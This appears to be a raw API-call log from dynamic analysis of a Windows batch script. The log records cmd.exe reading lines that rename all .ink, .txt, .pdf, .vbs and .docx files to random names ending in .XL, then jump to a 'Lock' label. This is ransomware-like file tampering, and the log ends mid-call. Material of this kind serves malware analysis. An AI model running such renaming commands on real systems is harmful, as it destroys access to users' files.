SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0038.150] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=1226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0038.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0038.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0038.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.150] GetFileType (hFile=0x74) returned 0x1 [0038.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0038.150] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=1228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0038.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0038.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.150] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0038.150] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.151] GetFileType (hFile=0x74) returned 0x1 [0038.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0038.151] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=1254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0038.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0038.151] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0038.151] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.151] GetFileType (hFile=0x74) returned 0x1 [0038.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0038.151] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=1265, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0038.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0038.151] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0038.151] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.151] GetFileType (hFile=0x74) returned 0x1 [0038.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0038.151] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.151] SetFilePointer (in: hFile=0x74, lDistanceToMove=1267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0038.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.152] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0038.152] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.152] GetFileType (hFile=0x74) returned 0x1 [0038.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0038.152] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=1273, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0038.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0038.152] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0038.152] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.152] GetFileType (hFile=0x74) returned 0x1 [0038.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f9 [0038.152] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=1275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0038.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0038.152] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.152] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0038.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.153] GetFileType (hFile=0x74) returned 0x1 [0038.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4fb [0038.153] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=1301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0038.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0038.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0038.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.153] GetFileType (hFile=0x74) returned 0x1 [0038.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x515 [0038.153] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0038.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0038.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0038.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.153] GetFileType (hFile=0x74) returned 0x1 [0038.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x520 [0038.153] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.153] SetFilePointer (in: hFile=0x74, lDistanceToMove=1314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0038.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.153] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0038.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.154] GetFileType (hFile=0x74) returned 0x1 [0038.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x522 [0038.154] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0038.154] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0038.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0038.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.154] GetFileType (hFile=0x74) returned 0x1 [0038.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x528 [0038.154] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0038.154] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0038.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0038.154] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.154] GetFileType (hFile=0x74) returned 0x1 [0038.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x52a [0038.154] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.154] SetFilePointer (in: hFile=0x74, lDistanceToMove=1348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0038.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0038.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0038.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.155] GetFileType (hFile=0x74) returned 0x1 [0038.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0038.155] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=1359, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0038.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0038.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0038.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.155] GetFileType (hFile=0x74) returned 0x1 [0038.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0038.155] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=1361, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0038.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0038.155] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.155] GetFileType (hFile=0x74) returned 0x1 [0038.155] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0038.156] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=1367, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0038.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0038.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0038.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.156] GetFileType (hFile=0x74) returned 0x1 [0038.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0038.156] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=1369, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0038.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0038.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0038.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.156] GetFileType (hFile=0x74) returned 0x1 [0038.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0038.156] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=1395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0038.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0038.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.156] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0038.156] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.156] GetFileType (hFile=0x74) returned 0x1 [0038.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0038.157] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=1406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0038.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0038.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0038.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.157] GetFileType (hFile=0x74) returned 0x1 [0038.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0038.157] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=1408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0038.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0038.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.157] GetFileType (hFile=0x74) returned 0x1 [0038.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0038.157] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=1415, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0038.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0038.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0038.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.158] GetFileType (hFile=0x74) returned 0x1 [0038.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0038.158] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=1417, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0038.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0038.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0038.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.158] GetFileType (hFile=0x74) returned 0x1 [0038.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0038.158] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=1444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0038.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\nn\r\n") returned 27 [0038.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0038.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.158] GetFileType (hFile=0x74) returned 0x1 [0038.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0038.158] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, 